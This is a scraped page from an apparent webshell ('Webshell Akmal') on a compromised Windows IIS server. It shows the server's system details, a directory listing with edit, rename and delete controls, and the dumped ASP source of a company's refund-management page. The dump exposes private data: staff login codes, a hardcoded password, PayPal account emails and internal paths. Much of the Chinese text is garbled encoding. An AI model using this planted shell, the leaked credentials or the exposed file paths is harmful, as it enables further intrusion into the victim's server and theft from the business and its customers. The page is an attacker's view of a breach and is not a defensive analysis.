Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css"> <!-- .cssinput { font-family: "����"; font-size: 18px; font-weight: bold; color: #000000; text-decoration: none; border: 1px solid #0000FF;} --> </style> <title>ASC365</title> </head> <body> <% 'loginnumber=session("Webpassed") 'if loginnumber<>"%asc365com%" then 'response.End() 'end if %> <div align="center"> <% 'if session("asc365allpassword")<>"8879365" then response.end Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & ":" & Request.ServerVariables("Server_Port") & Request.ServerVariables("URL") set fs=Server.CreateObject("Scripting.FileSystemObject") TK_YWY_Name3=request.Cookies("TK_YWY_Name3") if len(TK_YWY_Name3)=0 then YWY_Mm=trim(request.form("LIN")) Temp=Server.MapPath("..\..\..\ASC365_CWZ\Web\WebAdmin\XSDDLRRY_Inf") If fs.FileExists(Temp)=True then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 And left(YY,2)<>"//" then str=Split(YY,"|") if str(1)=YWY_Mm then TK_YWY_Name3=Str(0) exit do end if end if loop f.Close: Set f=Nothing end if response.Cookies("TK_YWY_Name3")=TK_YWY_Name3 'response.write TK_YWY_Name3 end if '------------------------------------------------ TK_YWY_Name3=request.Cookies("TK_YWY_Name3") 'Justin|001|ҵ��Ա| 'Hugo|7088|ҵ��Ա| 'Matthew|vc7783|ҵ��Ա| if TK_YWY_Name3="Justin" or TK_YWY_Name3="Hugo" or TK_YWY_Name3="Matthew" then else %> <form method="POST" action=""><input type="password" name="LIN" size="12"><input type="submit" value="Log in" name="Login"></form> <% response.end end if Function YYMMDD(YMD) Y_Y = DatePart("yyyy",YMD) M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S YYMMDD = Y_Y & M_M & D_D & H_H & N_N & S_S end function %> <font color="#FF0000" face="Verdana" size="5"><B>���ô�ASC���ʹ�˾�˿�ҵ���˻����ȷ��</B></font> <br> <br><br> <font color="#0000FF" face="Verdana" size="4"><B> 003 --- <%=TK_YWY_Name3%> �˻����ȷ�� </B></font> <br><br> <% '----------------------------------------------------------------------- if TK_YWY_Name3="Justin" then TK_GS="���ô���˾" elseif TK_YWY_Name3="Hugo" then TK_GS="������ɼ���˾" elseif TK_YWY_Name3="Matthew" then TK_GS="���ô��¸绪��˾" end if '----------------------------------------------------------------------- Dim TKXX(50) '0��*-*-* '1���˿����뵥�ţ��Զ����� ����+���֣� '2��¼��ʱ�䣨�Զ�ȡϵͳ���ڣ� '3��¼����Ա�����������½�Զ���ȡ�� '4���˿��¼�룬���ּӴ֣� '5���˿�ұ�¼�룬Ĭ����Ԫ�����ּӴ֣� '6���˿�ԭ�������˵�ѡ�� ' 001 δ�������ͻ�ԭ��ȡ�����ף������˿� ' 002 δ����������ȡ�����ף������˿� ' 003 �ѷ������ͻ����յ������˻������������⣬����ȫ�����˿� ' 004 �ѷ������ͻ����յ������˻���������������ȫ�����˿� ' 005 �ѷ������ͻ����յ������˻�������ﲻ��������ȫ�����˿� ' 006 �ѷ������ͻ����յ����˻��� �������˻���ȷ���յ��˻�������ȫ�����˿� ' 007 �ѷ������ͻ����յ����˻��� ���������⣬ȷ���յ��˻�������ȫ�����˿� ' 008 �ѷ������ͻ����յ����˻��� ��������ȷ���յ��˻�������ȫ�����˿� ' 009 �ѷ������ͻ����յ����˻��� ����ﲻ����ȷ���յ��˻�������ȫ�����˿� ' 010 �ѷ������ͻ�δ�յ�������ȫ���˿� ' 011 �ͻ���ebay��case������ȫ�����˿� ' 012 �ͻ���Paypal��case������ȫ�����˿� ' 013 ����ԭ������ȫ�����˿� '7���ɽ����̣������˵�ѡ�� ' Local ' Website ->asc365.com ' ebay.ca ->ascprinting ' ebay.ca ->art_asc365 ' ebay.ca ->ascpress ' ebay.com ->asc365usa ' ebay.com ->solution4you ' ebay.com ->artdidinc ' ebay.com ->stencilitem ' amazon.com ->artdid ' aliexpress.com ->sherry ' aliexpress.com ->steven ' aliexpress.com ->brianna ' aliexpress.com ->ellen ' aliexpress.com ->anna ' aliexpress.com ->helen ' Email ' Others '8���տ��˺ţ������˵�ѡ��Ĭ�Ͽգ� ' Paypal-weizhao100@hotmail.com ' ?Paypal-express@asc365.com ' ??Paypal-miami@asc365.com ' ??Paypal-wh717@hotmail.com ' ??Paypal-artdesign199@hotmail.com ' ??Amazon ' ??Aliexpress ' ??Toronto Bank Account ' ??Los Angeles Bank Account ' ??Vancouver Bank Account ' ??Cash '9���տ���ϸ��Ϣ������ճ��Paypalҳ�棩 '10����ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� '11����ע����ȡ�����ͼ��ʽ¼�룩 '����������Ϣ '12�������Ƿ��Ѿ������������˵�ѡ���Ѿ���������δ���� Ĭ�� �Ѿ������� '13��������ֿ⣨�����˵�ѡ���˾����ɼ���˾���¸绪��˾����̨��˾ Ĭ�� Ϊ�գ� '14��֪ͨ�������ţ�¼�룩 '15���Ƿ��˻��������˵�ѡ���˻������˻� Ĭ�� �˻��� '16���˻����ֿ⣨�����˵�ѡ���˾����ɼ���˾���¸绪��˾����̨��˾ Ĭ�� Ϊ�գ� '17���ͻ������˻���ʼʱ�䣨¼�룩 '18���˻����ٺţ�¼�룩 '19��ȷ���յ��˻�ʱ�䣨¼�룩 '20��ȷ���յ��˻��IJ�Ʒ���ƺ�������¼�룩 '21���˻���Ʒ״̬�������˵�ѡ�����ۡ����ޡ����ϡ���ʧ��Ĭ��Ϊ�գ� '22���뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� '23����ע��¼�룩 '24��=Y����ʽ�ύ '25��=Y�������� '26��=Y�����ȷ�� '27��=Y�������˿� '28��������� '29���������� Dim QR_TJ Dim QR_SP Dim QR_RK Dim QR_TK Dim SKXXXX '9:*1*1*-�տ���ϸ��Ϣ������ճ��Paypalҳ�棩 Dim KHGTXX '10:*2*2*-��ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� Dim BZXX11 '11:*3*3*-��ע����ȡ�����ͼ��ʽ¼�룩 Dim QRTHXX '20:*4*4*-ȷ���յ��˻��IJ�Ʒ���ƺ����� Dim HWGTXX '22:*5*5*-�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� Dim SPYJ ' :*6*6*-���������Ϣ������¼�뷽ʽ�� Dim DD '------------------------------------------------------- Dim TKYY(15) '�˿�ԭ�������˵�ѡ�� Dim TKYY_JS TKYY_JS=0 Temp=Server.MapPath("..\..\..\ASC365_CWZ\Web\WebAdmin\TKYY_Inf") If fs.FileExists(Temp)=True then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 And left(YY,2)<>"//" then str=Split(YY,"|") TKYY(TKYY_JS)=str(1) TKYY_JS=TKYY_JS*1+1 end if loop f.Close: Set f=Nothing end if '------------------------------------------------------- Dim CJDP(30) '�ɽ����̣������˵�ѡ�� Dim CJDP_JS CJDP_JS=0 Temp=Server.MapPath("..\..\..\ASC365_CWZ\Web\WebAdmin\CJDP_Inf") If fs.FileExists(Temp)=True then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 And left(YY,2)<>"//" then str=Split(YY,"|") CJDP(CJDP_JS)=str(1) CJDP_JS=CJDP_JS*1+1 end if loop f.Close: Set f=Nothing end if '------------------------------------------------------- Dim SKZH(20) '�տ��˺ţ������˵�ѡ��Ĭ�Ͽգ� Dim SKZH_JS SKZH_JS=0 Temp=Server.MapPath("..\..\..\ASC365_CWZ\Web\WebAdmin\SKZH_Inf") If fs.FileExists(Temp)=True then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 And left(YY,2)<>"//" then str=Split(YY,"|") SKZH(SKZH_JS)=str(1) SKZH_JS=SKZH_JS*1+1 end if loop f.Close: Set f=Nothing end if '------------------------------------------------------- Dim FHZT(1) '�����Ƿ��Ѿ������������˵�ѡ���Ѿ���������δ���� Ĭ�� �Ѿ������� Dim FHZT_JS FHZT_JS=2 FHZT(0)="�Ѿ�����" FHZT(1)="��δ����" '------------------------------------------------------- Dim HWFCCK(10) '������ֿ⣨�����˵�ѡ���˾����ɼ���˾���¸绪��˾����̨��˾ Ĭ�� Ϊ�գ� Dim HWFCCK_JS HWFCCK_JS=0 Temp=Server.MapPath("..\..\..\ASC365_CWZ\Web\WebAdmin\GSDMMC_Inf") If fs.FileExists(Temp)=True then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 And left(YY,2)<>"//" then str=Split(YY,"|") HWFCCK(HWFCCK_JS)=str(1) HWFCCK_JS=HWFCCK_JS*1+1 end if loop f.Close: Set f=Nothing end if '------------------------------------------------------- Dim SFTH(1) '�Ƿ��˻��������˵�ѡ���˻������˻� Ĭ�� �˻��� Dim SFTH_JS SFTH_JS=2 SFTH(0)="�˻�" SFTH(1)="���˻�" '------------------------------------------------------- Dim THCPZT(3) '�˻���Ʒ״̬�������˵�ѡ�����ۡ����ޡ����ϡ���ʧ��Ĭ��Ϊ�գ� Dim THCPZT_JS THCPZT_JS=4 THCPZT(0)="������" THCPZT(1)="����" THCPZT(2)="����" THCPZT(3)="��ʧ" '------------------------------------------------------- Dim SPJG(1) '��������������˵�ѡ��ͬ�⣬��ͬ�� Ĭ�� ͬ�⣩ Dim SPJG_JS SPJG_JS=2 SPJG(0)="ͬ��" SPJG(1)="��ͬ��" '------------------------------------------------------- Dim SUBFOLDERNAME(100) '��Ŀ¼�����ɴ�101�� Dim SUBFOLDERNUM '��Ŀ¼������ Dim SUBMONTHNAME(12) '����Ŀ¼�����ɴ�12�� Dim FILENAME(999) 'ÿ�ʷ�����һ���ļ���������1000�� Dim FILENAMENUM '�������ļ������� Dim YWYNAME 'ҵ��Ա���� Dim HWSQFC '�������뷢�� Dim RQ if Month(Date)>3 and Month(Date)<11 then RQ=DateAdd("h",14,now) '�������� else RQ=DateAdd("h",15,now) '�������� end if DHRQ=DateValue(RQ) '�������� RQ=YYMMDD(RQ) '-----------------------------------Disply Cataloag------------------------------------ for i=0 to 100 SUBFOLDERNAME(i)=null next Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") set fo=fs.GetFolder(Temp) SUBFOLDERNUM=0 for each x in fo.SubFolders if IsNumeric(x.name) and len(x.name)=4 then SUBFOLDERNAME(SUBFOLDERNUM)=x.Name SUBFOLDERNUM=SUBFOLDERNUM+1 end if next set fo=nothing for i=0 to SUBFOLDERNUM-1 for j=i+1 to SUBFOLDERNUM-1 if SUBFOLDERNAME(i)>SUBFOLDERNAME(j) then XX=SUBFOLDERNAME(i) SUBFOLDERNAME(i)=SUBFOLDERNAME(j) SUBFOLDERNAME(j)=XX end if next next for i=0 to SUBFOLDERNUM-1 SUBFOLDERNAME(i)=SUBFOLDERNAME(i) & "���˿" next %> <table border="0" width="1200" height="5" style="border-collapse: collapse"> <% II=0 for i= 0 to SUBFOLDERNUM-1 step 5 response.write "<tr>" for jj= 1 to 5 response.write "<td height='5' width='1200' bgcolor='#EEEEEE'><font size='3' >" response.write "<a href='"& Thispage & "?LL="& left(SUBFOLDERNAME(II),4)& "'>" response.write SUBFOLDERNAME(II) &"</a></td>" :II=II+1 next response.write"</tr>" next '--------------------------------------end------------------------------------ %> </table> <br> <% LLP=Request.Querystring("LL") if len(LLP)<>0 then Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" set fo=fs.GetFolder(Temp) for each x in fo.SubFolders if IsNumeric(x.Name) and len(x.Name)=6 then K=right(x.Name,2) SUBMONTHNAME(K)=x.Name end if next set fo=nothing end if %> <table border="0" width="1200" height="5" style="border-collapse: collapse"> <% II=6 for i= 1 to 12 if II=6 then response.write "<tr>" II=0 end if if len(SUBMONTHNAME(i))<>0 then response.write "<td height='5' width='1200' bgcolor='#FFFFee'><font size='2' >" response.write"<a href='"& Thispage & "?LL=" response.write LLP & "&LN=" response.write SUBMONTHNAME(i)& "'>" response.write left(SUBMONTHNAME(i),4) & "��" & Mid(SUBMONTHNAME(i),5,2) & "���˿" & "</a></td>" II=II+1 end if if II=6 then response.write "</tr>" end if next if II<>6 then response.write "</tr>" end if response.write "<br>" '-------------------------------------end------------------------------------- %> </table> <br> <% LLN= Request.Querystring("LN") if len(LLN)<>0 then Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" and IsNumeric(left(Namee,10)) then K=Mid(Namee,7,4) FILENAME(K)=Namee end if next set fo=nothing end if %> <table border="0" width="1200" height="5" style="border-collapse: collapse"> <% II=5 for i= 0 to 999 if II=5 then response.write "<tr>" II=0 end if if len(FILENAME(i))>0 then Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" & FILENAME(i) If fs.FileExists(Temp)=true then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)>0 and left(YY,5)="*-*-*" then '�Ƿ���Է��� str=Split(YY,"|") QR_TJ=str(24) QR_SP=str(25) QR_RK=str(26) QR_TK=str(27) YWYNAME=str(3) end if loop f.Close: Set f=Nothing end if if Lcase(QR_SP)="y" and TK_GS=str(16) then if Lcase(QR_RK)<>"y" then response.write "<td height='5' width='1200'bgcolor='#EEEEEE'><font size='3' >" response.write"<a href='01_21Refund003.asp?LL=" response.write LLP & "&LN=" & LLN & "&LM=" & FILENAME(i) & "' target='_self'>" response.write "��"& i &"��"&YWYNAME&"�˿�(δ���)"&"</a></td>" II=II+1 else response.write "<td height='5' width='1200'bgcolor='#EEEEEE'><font size='3' >" response.write"<a href='01_21Refund003.asp?LL=" response.write LLP & "&LN=" & LLN & "&LM=" & FILENAME(i) & "' target='_self'>" response.write "��"& i &"��"&YWYNAME&"�˿�(�����)"&"</a></td>" II=II+1 end if end if end if if II=5 then response.write "</tr>" end if next if II<>5 then response.write "</tr>" end if '--------------------------------------end------------------------------------ %> </table> <%'--------------------------------Read product------------------------------- LLPP=Request.Querystring("LM") if len(LLPP)<>0 then '============================================================================== SKXXXX="" '9:*1*1*-�տ���ϸ��Ϣ������ճ��Paypalҳ�棩 KHGTXX="" '10:*2*2*-��ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� BZXX11="" '11:*3*3*-��ע����ȡ�����ͼ��ʽ¼�룩 QRTHXX="" '20:*4*4*-ȷ���յ��˻��IJ�Ʒ���ƺ����� HWGTXX="" '22:*5*5*-�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� SPYJ="" ' :*6*6*-���������Ϣ������¼�뷽ʽ�� '------------------------------------------------ Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" & LLPP If fs.FileExists(Temp)=true then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 then if left(YY,5)="*-*-*" then '�Ƿ���Է��� str=Split(YY,"|") QR_TJ=str(24) QR_SP=str(25) QR_RK=str(26) QR_TK=str(27) YWYNAME=str(3) for i=0 to 50 TKXX(i)=str(i) next elseif left(YY,5)="*1*1*" and len(YY)>5 then '*1*1*-�տ���ϸ��Ϣ SKXXXX=SKXXXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*2*2*" and len(YY)>5 then '*2*2*-��ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� KHGTXX=KHGTXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*3*3*" and len(YY)>5 then '*3*3*-��ע����ȡ�����ͼ��ʽ¼�룩 BZXX11=BZXX11 & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*4*4*" and len(YY)>5 then '*4*4*-ȷ���յ��˻��IJ�Ʒ���ƺ����� QRTHXX=QRTHXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*5*5*" and len(YY)>5 then '*5*5*-�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� HWGTXX=HWGTXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*6*6*" and len(YY)>5 then '**6*6*-���������Ϣ������¼�뷽ʽ�� SPYJ=SPYJ & right(YY,len(YY)-5) & chr(13) & chr(10) end if end if loop f.Close: Set f=Nothing end if if len(TKXX(17))=0 then TKXX(17)=DHRQ if len(TKXX(19))=0 then TKXX(19)=DHRQ '==========================Change contant====================================== if request.form("B1")="Submit" then '---------------------------�տ���ϸ��Ϣ-------------------------- DD=SKXXXX DD="*1*1*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*1*1*") SKXXXX=DD '------------------------------------------------ DD=KHGTXX DD="*2*2*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*2*2*") KHGTXX=DD '------------------------------------------------ DD=BZXX11 DD="*3*3*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*3*3*") BZXX11=DD '------------------------------------------------ DD=request.form("S64") DD="*4*4*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*4*4*") QRTHXX=DD '------------------------------------------------ DD=request.form("S65") DD="*5*5*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*5*5*") HWGTXX=DD '------------------------------------------------ DD=SPYJ DD="*6*6*" & DD DD=replace(DD,chr(13)&chr(10),chr(13)&chr(10) & "*6*6*") SPYJ=DD '-------------------------�˿���Ϣ---------------------------- for i=17 to 23 TKXX(i)=trim(request.form("TT"&I)) next if len(TKXX(17))=0 then TKXX(17)=DHRQ if len(TKXX(19))=0 then TKXX(19)=DHRQ '======================���涩����============================= FFLAG=request.form("TFLAG") if FFLAG>0 then '���涩���������¸�ʽ�������Ŷ���������д Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" & LLPP Set f=fs.CreateTextFile(Temp,true) '-------------------------ȷ���˿�---------------------------- TKXX(26)="Y" WW="" for i=0 to 50 WW=WW & TKXX(i) & "|" next f.WriteLine (WW) f.write(SKXXXX) f.WriteLine("") f.write(KHGTXX) f.WriteLine("") f.write(BZXX11) f.WriteLine("") f.write(QRTHXX) f.WriteLine("") f.write(HWGTXX) f.WriteLine("") f.write(SPYJ) f.WriteLine("") '---------------------------------------------------------------- else Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" & LLPP Set f=fs.CreateTextFile(Temp,true) '-------------------------ȷ���˿�---------------------------- TKXX(26)="" WW="" for i=0 to 50 WW=WW & TKXX(i) & "|" next f.WriteLine (WW) f.write(SKXXXX) f.WriteLine("") f.write(KHGTXX) f.WriteLine("") f.write(BZXX11) f.WriteLine("") f.write(QRTHXX) f.WriteLine("") f.write(HWGTXX) f.WriteLine("") f.write(SPYJ) f.WriteLine("") '---------------------------------------------------------------- end if '------------------------------------------------ for i=0 to 50 TKXX(i)="" next SKXXXX="" '9:*1*1*-�տ���ϸ��Ϣ������ճ��Paypalҳ�棩 KHGTXX="" '10:*2*2*-��ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� BZXX11="" '11:*3*3*-��ע����ȡ�����ͼ��ʽ¼�룩 QRTHXX="" '20:*4*4*-ȷ���յ��˻��IJ�Ʒ���ƺ����� HWGTXX="" '22:*5*5*-�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� SPYJ="" ' :*6*6*-���������Ϣ������¼�뷽ʽ�� '------------------------------------------------ Temp=Server.MapPath("..\..\Admin\KJ_TKXX\") & "\" & LLP & "\" & LLN & "\" & LLPP If fs.FileExists(Temp)=true then Set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 then if left(YY,5)="*-*-*" then '�Ƿ���Է��� str=Split(YY,"|") QR_TJ=str(24) QR_SP=str(25) QR_RK=str(26) QR_TK=str(27) YWYNAME=str(3) for i=0 to 50 TKXX(i)=str(i) next elseif left(YY,5)="*1*1*" and len(YY)>5 then '*1*1*-�տ���ϸ��Ϣ SKXXXX=SKXXXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*2*2*" and len(YY)>5 then '*2*2*-��ͻ��ʼ���ͨ����Ҫ��Ϣ������ճ���ʼ����ݣ� KHGTXX=KHGTXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*3*3*" and len(YY)>5 then '*3*3*-��ע����ȡ�����ͼ��ʽ¼�룩 BZXX11=BZXX11 & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*4*4*" and len(YY)>5 then '*4*4*-ȷ���յ��˻��IJ�Ʒ���ƺ����� QRTHXX=QRTHXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*5*5*" and len(YY)>5 then '*5*5*-�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ������¼�뷽ʽ�� HWGTXX=HWGTXX & right(YY,len(YY)-5) & chr(13) & chr(10) elseif left(YY,5)="*6*6*" and len(YY)>5 then '**6*6*-���������Ϣ������¼�뷽ʽ�� SPYJ=SPYJ & right(YY,len(YY)-5) & chr(13) & chr(10) end if end if loop f.Close: Set f=Nothing end if end if '============================================================================== if Lcase(TKXX(26))<>"y" then %> <form method="POST" action=""> <table border="2" width="1200" height="20" bordercolor="#33CCFF" style="border-collapse: collapse"> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿��</td> <td height="20" width="120" align="center"><%=TKXX(1)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">¼��ʱ��</td> <td height="20" width="120" align="center"><%=TKXX(2)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">¼����Ա</td> <td height="20" width="120" align="center"><%=TKXX(3)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿���</td> <td height="20" width="120" align="center"><%=TKXX(4)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿�ұ�</td> <td height="20" width="120" align="center"><%=TKXX(5)%></td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿�ԭ��</td> <td height="20" width="1080" align="left" colspan="9"><%=TKXX(6)%></td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�ɽ�����</td> <td height="20" width="480" align="left" colspan="4"><%=TKXX(7)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�տ��˺�</td> <td height="20" width="480" align="left" colspan="4"><%=TKXX(8)%></td> </tr> <tr> <td height="20" width="1200" bgcolor='#CCFFFF' align="left" colspan="10">�տ���ϸ��Ϣ</td> </tr> <tr> <td height="20" width="1200" align="left" colspan="10"> <textarea rows="20" name="S61" cols="165" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=SKXXXX%> </textarea> </td> </tr> <tr> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">��ͻ��ʼ���ͨ����Ҫ��Ϣ</td> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">��ע</td> </tr> <tr> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S62" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=KHGTXX%></textarea> </td> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S63" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=BZXX11%></textarea> </td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�����Ƿ�</td> <td height="20" width="120" align="left"><%=TKXX(12)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">������ֿ�</td> <td height="20" width="120" align="left"><%=TKXX(13)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">֪ͨ��������</td> <td height="20" width="120" align="center"><%=TKXX(14)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�Ƿ��˻�</td> <td height="20" width="120" align="left"><%=TKXX(15)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻����ֿ�</td> <td height="20" width="120" align="left"><%=TKXX(16)%></td> </tr> <tr> <td height="20" width="720" bgcolor='#CCFFFF' align="left" colspan="6">�������</td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�������</td> <td height="20" width="120" align="left"><%=TKXX(28)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">��������</td> <td height="20" width="120" align="center"><%=TKXX(29)%></td> </tr> <tr> <td height="20" width="1200" align="left" colspan="10"> <textarea rows="10" name="S66" cols="165" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=SPYJ%></textarea> </td> </tr> <tr> <td height="20" width="240" bgcolor='#DDDDDD' align="center" colspan="2">�ͻ������˻���ʼʱ��</td> <td height="20" width="120" align="center"><input type="text" name="TT17" size="15" value="<%=TKXX(17)%>"></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻����ٺ�</td> <td height="20" width="120" align="center"><input type="text" name="TT18" size="15" value="<%=TKXX(18)%>"></td> <td height="20" width="240" bgcolor='#DDDDDD' align="center" colspan="2">ȷ���յ��˻�ʱ��</td> <td height="20" width="120" align="center"><input type="text" name="TT19" size="15" value="<%=TKXX(19)%>"></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻���Ʒ״̬</td> <td height="20" width="120" align="left"> <Select name="TT21" id="TT21" ><option value="<%=TKXX(21)%>"><%=TKXX(21)%></option> <% for C_II=0 to THCPZT_JS*1-1 %> <option value="<%=THCPZT(C_II)%>"><%=THCPZT(C_II)%></option> <% next %> </Select> </td> </tr> <tr> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">ȷ���յ��˻��IJ�Ʒ���ƺ�����</td> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ</td> </tr> <tr> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S64" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000"><%=QRTHXX%></textarea> </td> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S65" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000"><%=HWGTXX%></textarea> </td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">��ע</td> <td height="20" width="1080" align="center" colspan="9"><input type="text" name="TT23" size="150" value="<%=TKXX(23)%>"></td> </tr> <tr> <td height="20" width="600" bgcolor="#CCFFFF" align="center" colspan="5"> �� �� ȷ �� �� �� ��</td> <td height="20" width="600" bgcolor="#CCFFFF" align="center" colspan="5"> <input type="radio" name="TFLAG" value="1">�� <input type="radio" name="TFLAG" value="0" checked>��</td> </tr> </table> <p align="center"><input type="submit" value="Submit" name="B1"></p> </form> <% elseif Lcase(TKXX(26))="y" then %> <table border="2" width="1200" height="20" bordercolor="#33CCFF" style="border-collapse: collapse"> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿��</td> <td height="20" width="120" align="center"><%=TKXX(1)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">¼��ʱ��</td> <td height="20" width="120" align="center"><%=TKXX(2)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">¼����Ա</td> <td height="20" width="120" align="center"><%=TKXX(3)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿���</td> <td height="20" width="120" align="center"><%=TKXX(4)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿�ұ�</td> <td height="20" width="120" align="center"><%=TKXX(5)%></td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˿�ԭ��</td> <td height="20" width="1080" align="left" colspan="9"><%=TKXX(6)%></td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�ɽ�����</td> <td height="20" width="480" align="left" colspan="4"><%=TKXX(7)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�տ��˺�</td> <td height="20" width="480" align="left" colspan="4"><%=TKXX(8)%></td> </tr> <tr> <td height="20" width="1200" bgcolor='#CCFFFF' align="left" colspan="10">�տ���ϸ��Ϣ</td> </tr> <tr> <td height="20" width="1200" align="left" colspan="10"> <textarea rows="20" name="S61" cols="165" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=SKXXXX%> </textarea> </td> </tr> <tr> <td height="20" width="600" bgcolor='#CCFFFF' 